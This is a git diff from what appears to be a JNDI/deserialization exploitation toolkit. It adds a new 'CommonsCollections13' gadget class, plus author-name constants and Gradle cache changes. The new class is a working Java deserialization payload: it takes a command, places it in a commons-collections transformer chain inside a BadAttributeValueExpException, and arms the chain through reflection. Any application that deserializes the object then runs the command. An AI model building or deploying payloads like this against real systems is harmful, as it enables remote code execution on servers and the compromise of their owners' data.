diff --git a/.gradle/8.7/checksums/checksums.lock b/.gradle/8.7/checksums/checksums.lock index 0f3b7d4..37b4f02 100644 Binary files a/.gradle/8.7/checksums/checksums.lock and b/.gradle/8.7/checksums/checksums.lock differ diff --git a/.gradle/8.7/executionHistory/executionHistory.bin b/.gradle/8.7/executionHistory/executionHistory.bin index 0e2bd24..645b354 100644 Binary files a/.gradle/8.7/executionHistory/executionHistory.bin and b/.gradle/8.7/executionHistory/executionHistory.bin differ diff --git a/.gradle/8.7/executionHistory/executionHistory.lock b/.gradle/8.7/executionHistory/executionHistory.lock index abd959a..b002ef8 100644 Binary files a/.gradle/8.7/executionHistory/executionHistory.lock and b/.gradle/8.7/executionHistory/executionHistory.lock differ diff --git a/.gradle/8.7/fileHashes/fileHashes.bin b/.gradle/8.7/fileHashes/fileHashes.bin index 6489e71..92409fa 100644 Binary files a/.gradle/8.7/fileHashes/fileHashes.bin and b/.gradle/8.7/fileHashes/fileHashes.bin differ diff --git a/.gradle/8.7/fileHashes/fileHashes.lock b/.gradle/8.7/fileHashes/fileHashes.lock index e28c442..3a82373 100644 Binary files a/.gradle/8.7/fileHashes/fileHashes.lock and b/.gradle/8.7/fileHashes/fileHashes.lock differ diff --git a/.gradle/8.7/fileHashes/resourceHashesCache.bin b/.gradle/8.7/fileHashes/resourceHashesCache.bin index 6b8ed92..601df65 100644 Binary files a/.gradle/8.7/fileHashes/resourceHashesCache.bin and b/.gradle/8.7/fileHashes/resourceHashesCache.bin differ diff --git a/.gradle/buildOutputCleanup/buildOutputCleanup.lock b/.gradle/buildOutputCleanup/buildOutputCleanup.lock index de92ae0..988ff6c 100644 Binary files a/.gradle/buildOutputCleanup/buildOutputCleanup.lock and b/.gradle/buildOutputCleanup/buildOutputCleanup.lock differ diff --git a/.gradle/file-system.probe b/.gradle/file-system.probe index cd85119..e83b4ba 100644 Binary files a/.gradle/file-system.probe and b/.gradle/file-system.probe differ diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections13.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections13.java new file mode 100644 index 0000000..f23df80 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsCollections13.java @@ -0,0 +1,42 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.cc.TransformerUtil; + +import org.apache.commons.collections.functors.ChainedTransformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.DefaultedMap; + +import javax.management.BadAttributeValueExpException; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +@Dependencies({"commons-collections:commons-collections:3.2.1"}) +@Authors({Authors.Jayl1n}) +public class CommonsCollections13 implements ObjectPayload{ + @Override + public Object getObject(String command) throws Exception { + final Transformer transformerChain = new ChainedTransformer( + new Transformer[]{ new ConstantTransformer(1) }); + final Transformer[] transformers = TransformerUtil.makeTransformer(command); + final Map innerMap = new HashMap(); + final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain); + + TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo"); + + BadAttributeValueExpException val = new BadAttributeValueExpException(null); + Field valfield = val.getClass().getDeclaredField("val"); + valfield.setAccessible(true); + valfield.set(val, entry); + + // arm with actual transformer chain + Reflections.setFieldValue(transformerChain, "iTransformers", transformers); + + return val; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java b/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java index 2c51bb9..f8294d0 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java +++ b/src/main/java/com/qi4l/jndi/gadgets/annotation/Authors.java @@ -46,6 +46,10 @@ public @interface Authors { String QI4L = "QI4L"; String PEIQIF4CK = "peiqiF4ck"; + String Jayl1n = "Jayl1n"; + + String N1ght = "N1ght"; + String KILLER = "killer"; String[] value() default {};